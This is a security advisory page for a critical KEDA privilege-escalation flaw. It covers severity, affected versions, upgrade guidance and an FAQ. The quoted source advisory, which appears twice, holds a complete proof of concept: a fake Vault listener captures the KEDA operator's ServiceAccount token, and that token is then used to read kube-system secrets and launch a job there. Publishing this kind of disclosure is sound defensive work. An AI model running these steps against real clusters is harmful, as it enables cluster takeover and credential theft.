CVE-2026-77524: KEDA Privilege Escalation From Namespace Admin Vulnerability

CRITICAL
Advisory Identifier: GHSA-637c-6jxx-4rwm
CVSS 9.9
CWE-269 CWE-918
Published
Advisory Summary

CVE-2026-77524 is a CRITICAL (CVSS 9.9) privilege escalation from namespace admin vulnerability (CWE-269: Improper Privilege Management) affecting KEDA libraries in the Go ecosystem. The issue involves privilege escalation from namespace admin to cluster admin via keda triggerauthentication. Remediation is available by upgrading affected packages to version 2.21.0.

CVE-2026-77524 at a Glance

CVE Identifier CVE-2026-77524
GHSA Identifier GHSA-637c-6jxx-4rwm
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-269: Improper Privilege Management
Affected Product KEDA
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-77524

To remediate this vulnerability, upgrade all affected KEDA dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kedacore/keda fixed: Latest secure release
Upgrade github.com/kedacore/keda to Latest secure release
github.com/kedacore/keda/v2 fixed: 2.21.0
Upgrade github.com/kedacore/keda/v2 to 2.21.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kedacore/keda

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-77524, inspect your project dependencies for KEDA:

inspect dependencies for github.com/kedacore/keda

Analyze the terminal output to locate any version of KEDA in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.21.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In KEDA, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A namespace admin who creates a `TriggerAuthentication` and a `ScaledObject` in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds `["*"]/["*"] get` cluster-wide, so it reads every Secret in every namespace, plus `batch/jobs` and `horizontalpodautoscalers` create/delete cluster-wide, `*/scale` update on any workload, `validatingwebhookconfigurations` update (rewrite or disable cluster admission), and `apiservices` update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide `batch/jobs` create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as `kube-system` , `kyverno`) to reach the node filesystem and a control-plane kubeconfig. This is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with `system:serviceaccount:`, which the operator's own projected token satisfies by construction. The destination field `hashiCorpVault.address` is unvalidated. Finder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8 ## Verified live kind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, <https://github.com/kedacore/keda>) installed from the unmodified release manifest `keda-2.20.0.yaml` (`ghcr.io/kedacore/keda:2.20.0`), default settings. ## Preconditions 1. The tenant holds `create` on `triggerauthentications.keda.sh` and `scaledobjects.keda.sh` in its own namespace (the documented KEDA tenant workflow), plus the built-in `edit` ClusterRole in that namespace. Often granted by a namespaced admin Role (`--verb='*' --resource='*.*'`) in multi-tenant environments. 2. KEDA is installed with default settings. ## Reproduction ### Cluster preparation (not part of the attack) ```sh kind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig export KUBECONFIG=./kubeconfig # Install KEDA v2.20.0 (unmodified vendor release manifest). curl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml kubectl apply --server-side -f keda-2.20.0.yaml kubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s kubectl -n keda rollout status deploy/keda-operator --timeout=180s # Tenant identity: namespace admin in tenant-a. kubectl create namespace tenant-a kubectl -n tenant-a create serviceaccount tenant kubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant kubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh kubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant # Mint a tenant kubeconfig from a real TokenRequest token. SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}') CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}') TOKEN=$(kubectl -n tenant-a create token tenant --duration=24h) cat > kubeconfig-tenant <<EOF apiVersion: v1 kind: Config clusters: - name: kind cluster: { server: ${SERVER}, certificate-authority-data: ${CA} } contexts: - name: tenant context: { cluster: kind, user: tenant, namespace: tenant-a } current-context: tenant users: - name: tenant user: { token: ${TOKEN} } EOF # Seed a "secret" canary in kube-system to make impact self-evident. kubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e ``` ### Attack 1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP `PUT`, so the listener must accept all methods. ```sh kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF' apiVersion: v1 kind: ConfigMap metadata: { name: fake-vault-src, namespace: tenant-a } data: vault.py: | import http.server, socketserver, sys, json class H(http.server.BaseHTTPRequestHandler): def log_message(self,*a): pass def _h(self): ln=int(self.headers.get('Content-Length') or 0) body=self.rfile.read(ln) if ln else b'' sys.stdout.write("VAULT-LOGIN %s %s\n%s\n"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush() r=json.dumps({"auth":{"client_token":"s.poc","lease_duration":3600,"renewable":True,"policies":["default"]}}).encode() self.send_response(200); self.send_header("Content-Type","application/json"); self.send_header("Content-Length",str(len(r))); self.end_headers(); self.wfile.write(r) do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h socketserver.TCPServer.allow_reuse_address=True with socketserver.TCPServer(("0.0.0.0",8200),H) as s: s.serve_forever() --- apiVersion: v1 kind: Pod metadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } } spec: containers: - name: vault image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203 command: ["python3","/src/vault.py"] volumeMounts: [{ name: src, mountPath: /src }] volumes: [{ name: src, configMap: { name: fake-vault-src } }] --- apiVersion: v1 kind: Service metadata: { name: fake-vault, namespace: tenant-a } spec: selector: { app: fake-vault } ports: [{ port: 8200, targetPort: 8200 }] EOF kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s ``` 2. Create the `TriggerAuthentication` (the primitive) and a `ScaledObject` with a `cron` trigger referencing it. With `authentication: kubernetes` and no `credential` block, KEDA defaults `credential.serviceAccount` to the operator pod's own token path. ```sh kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF' apiVersion: keda.sh/v1alpha1 kind: TriggerAuthentication metadata: { name: vault-auth, namespace: tenant-a } spec: hashiCorpVault: address: http://fake-vault.tenant-a.svc:8200 # tenant-controlled destination, no validation authentication: kubernetes mount: kubernetes role: poc secrets: - { parameter: anything, key: anything, path: secret/data/anything } --- apiVersion: keda.sh/v1alpha1 kind: ScaledObject metadata: { name: poc-so, namespace: tenant-a } spec: scaleTargetRef: { name: poc-target } pollingInterval: 5 minReplicaCount: 0 maxReplicaCount: 2 triggers: - type: cron metadata: { timezone: UTC, start: "0 * * * *", end: "30 * * * *", desiredReplicas: "1" } authenticationRef: { name: vault-auth } --- apiVersion: apps/v1 kind: Deployment metadata: { name: poc-target, namespace: tenant-a } spec: replicas: 1 selector: { matchLabels: { app: poc-target } } template: metadata: { labels: { app: poc-target } } spec: containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }] EOF ``` 3. The operator reconciles the `ScaledObject`, builds the scaler, resolves the `authenticationRef`, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back: ```sh sleep 20 kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT' # VAULT-LOGIN PUT /v1/auth/kubernetes/login # {"jwt":"eyJhbGciOiJSUzI1NiIs...","role":"poc"} ``` 4. Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly: ```sh STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \ | sed -n 's/.*"jwt":"\([^"]*\)".*/\1/p' | head -1) cat > kubeconfig-stolen <<EOF apiVersion: v1 kind: Config clusters: - name: kind cluster: { server: ${SERVER}, certificate-authority-data: ${CA} } contexts: - name: stolen context: { cluster: kind, user: stolen } current-context: stolen users: - name: stolen user: { token: ${STOLEN} } EOF kubectl --kubeconfig=./kubeconfig-stolen auth whoami # Username system:serviceaccount:keda:keda-operator kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d # KEDA-F1-CANARY-7f3a9c2e # The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system. kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60' # job.batch/pwn created kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn # pwn-q5j5s 1/1 Running 0 8s ``` ## Root cause A namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator's own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token, so it does not constrain the credential to one the tenant is entitled to use.

CVE-2026-77524 Affected KEDA Versions

2 component(s)
Fixed Versions:
2.21.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kedacore/keda
Go
≤ 1.5.0
github.com/kedacore/keda/v2
Go
< 2.21.0
2.21.0

References

Frequently Asked Questions

What is CVE-2026-77524?
CVE-2026-77524 is a security vulnerability in KEDA involving Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication under CWE-269: Improper Privilege Management.
Which KEDA versions are affected?
Affected versions include releases prior to 2.21.0 across affected packages: github.com/kedacore/keda, github.com/kedacore/keda/v2.
What version fixes CVE-2026-77524?
Upgrading to 2.21.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kedacore/keda affected?
Yes, github.com/kedacore/keda is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
Is github.com/kedacore/keda/v2 affected?
Yes, github.com/kedacore/keda/v2 is affected in releases prior to 2.21.0. Upgrade your dependency to 2.21.0 or later.
What is the CVSS score of CVE-2026-77524?
CVE-2026-77524 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-77524?
CVE-2026-77524 is classified under CWE-269: Improper Privilege Management (The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.).
How can I check Go dependencies for CVE-2026-77524?
Run the dependency tree command: 'inspect dependencies for github.com/kedacore/keda'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-637c-6jxx-4rwm",
  "modified" : "2026-10-15T20:19:43Z",
  "published" : "2026-10-15T20:19:42Z",
  "aliases" : [ "CVE-2026-77524" ],
  "summary" : "KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication",
  "details" : "## Summary\n\nA namespace admin who creates a `TriggerAuthentication` and a `ScaledObject` in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds `[\"*\"]/[\"*\"] get` cluster-wide, so it reads every Secret in every namespace, plus `batch/jobs` and `horizontalpodautoscalers` create/delete cluster-wide, `*/scale` update on any workload, `validatingwebhookconfigurations` update (rewrite or disable cluster admission), and `apiservices` update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide `batch/jobs` create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as `kube-system` , `kyverno`) to reach the node filesystem and a control-plane kubeconfig.\n\nThis is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with `system:serviceaccount:`, which the operator's own projected token satisfies by construction. The destination field `hashiCorpVault.address` is unvalidated.\n\nFinder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8\n\n## Verified live\n\nkind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, <https://github.com/kedacore/keda>) installed from the unmodified release manifest `keda-2.20.0.yaml` (`ghcr.io/kedacore/keda:2.20.0`), default settings.\n\n## Preconditions\n\n1. The tenant holds `create` on `triggerauthentications.keda.sh` and `scaledobjects.keda.sh` in its own namespace (the documented KEDA tenant workflow), plus the built-in `edit` ClusterRole in that namespace. Often granted by a namespaced admin Role (`--verb='*' --resource='*.*'`) in multi-tenant environments.\n2. KEDA is installed with default settings.\n\n## Reproduction\n\n### Cluster preparation (not part of the attack)\n\n```sh\nkind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig\nexport KUBECONFIG=./kubeconfig\n\n# Install KEDA v2.20.0 (unmodified vendor release manifest).\ncurl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml\nkubectl apply --server-side -f keda-2.20.0.yaml\nkubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s\nkubectl -n keda rollout status deploy/keda-operator --timeout=180s\n\n# Tenant identity: namespace admin in tenant-a.\nkubectl create namespace tenant-a\nkubectl -n tenant-a create serviceaccount tenant\nkubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant\nkubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh\nkubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant\n\n# Mint a tenant kubeconfig from a real TokenRequest token.\nSERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')\nCA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')\nTOKEN=$(kubectl -n tenant-a create token tenant --duration=24h)\ncat > kubeconfig-tenant <<EOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: tenant\n  context: { cluster: kind, user: tenant, namespace: tenant-a }\ncurrent-context: tenant\nusers:\n- name: tenant\n  user: { token: ${TOKEN} }\nEOF\n\n# Seed a \"secret\" canary in kube-system to make impact self-evident.\nkubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e\n```\n\n### Attack\n\n1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP `PUT`, so the listener must accept all methods.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'\napiVersion: v1\nkind: ConfigMap\nmetadata: { name: fake-vault-src, namespace: tenant-a }\ndata:\n  vault.py: |\n    import http.server, socketserver, sys, json\n    class H(http.server.BaseHTTPRequestHandler):\n        def log_message(self,*a): pass\n        def _h(self):\n            ln=int(self.headers.get('Content-Length') or 0)\n            body=self.rfile.read(ln) if ln else b''\n            sys.stdout.write(\"VAULT-LOGIN %s %s\\n%s\\n\"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush()\n            r=json.dumps({\"auth\":{\"client_token\":\"s.poc\",\"lease_duration\":3600,\"renewable\":True,\"policies\":[\"default\"]}}).encode()\n            self.send_response(200); self.send_header(\"Content-Type\",\"application/json\"); self.send_header(\"Content-Length\",str(len(r))); self.end_headers(); self.wfile.write(r)\n        do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h\n    socketserver.TCPServer.allow_reuse_address=True\n    with socketserver.TCPServer((\"0.0.0.0\",8200),H) as s: s.serve_forever()\n---\napiVersion: v1\nkind: Pod\nmetadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }\nspec:\n  containers:\n  - name: vault\n    image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203\n    command: [\"python3\",\"/src/vault.py\"]\n    volumeMounts: [{ name: src, mountPath: /src }]\n  volumes: [{ name: src, configMap: { name: fake-vault-src } }]\n---\napiVersion: v1\nkind: Service\nmetadata: { name: fake-vault, namespace: tenant-a }\nspec:\n  selector: { app: fake-vault }\n  ports: [{ port: 8200, targetPort: 8200 }]\nEOF\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s\n```\n\n2. Create the `TriggerAuthentication` (the primitive) and a `ScaledObject` with a `cron` trigger referencing it. With `authentication: kubernetes` and no `credential` block, KEDA defaults `credential.serviceAccount` to the operator pod's own token path.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'\napiVersion: keda.sh/v1alpha1\nkind: TriggerAuthentication\nmetadata: { name: vault-auth, namespace: tenant-a }\nspec:\n  hashiCorpVault:\n    address: http://fake-vault.tenant-a.svc:8200   # tenant-controlled destination, no validation\n    authentication: kubernetes\n    mount: kubernetes\n    role: poc\n    secrets:\n    - { parameter: anything, key: anything, path: secret/data/anything }\n---\napiVersion: keda.sh/v1alpha1\nkind: ScaledObject\nmetadata: { name: poc-so, namespace: tenant-a }\nspec:\n  scaleTargetRef: { name: poc-target }\n  pollingInterval: 5\n  minReplicaCount: 0\n  maxReplicaCount: 2\n  triggers:\n  - type: cron\n    metadata: { timezone: UTC, start: \"0 * * * *\", end: \"30 * * * *\", desiredReplicas: \"1\" }\n    authenticationRef: { name: vault-auth }\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata: { name: poc-target, namespace: tenant-a }\nspec:\n  replicas: 1\n  selector: { matchLabels: { app: poc-target } }\n  template:\n    metadata: { labels: { app: poc-target } }\n    spec:\n      containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]\nEOF\n```\n\n3. The operator reconciles the `ScaledObject`, builds the scaler, resolves the `authenticationRef`, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back:\n\n```sh\nsleep 20\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT'\n# VAULT-LOGIN PUT /v1/auth/kubernetes/login\n# {\"jwt\":\"eyJhbGciOiJSUzI1NiIs...\",\"role\":\"poc\"}\n```\n\n4. Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly:\n\n```sh\nSTOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \\\n  | sed -n 's/.*\"jwt\":\"\\([^\"]*\\)\".*/\\1/p' | head -1)\ncat > kubeconfig-stolen <<EOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: stolen\n  context: { cluster: kind, user: stolen }\ncurrent-context: stolen\nusers:\n- name: stolen\n  user: { token: ${STOLEN} }\nEOF\n\nkubectl --kubeconfig=./kubeconfig-stolen auth whoami\n# Username  system:serviceaccount:keda:keda-operator\n\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d\n# KEDA-F1-CANARY-7f3a9c2e\n\n# The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system.\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60'\n# job.batch/pwn created\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn\n# pwn-q5j5s   1/1   Running   0   8s\n```\n\n## Root cause\n\nA namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator's own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token, so it does not constrain the credential to one the tenant is entitled to use.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kedacore/keda"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.5.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kedacore/keda/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.21.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kedacore/keda/security/advisories/GHSA-637c-6jxx-4rwm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-77524"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kedacore/keda/commit/1e21cc798dedd079e696cdb45388eddc5e18365d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kedacore/keda"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kedacore/keda/releases/tag/v2.21.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269", "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-15T20:19:42Z",
    "nvd_published_at" : "2026-10-14T17:19:11Z"
  }
}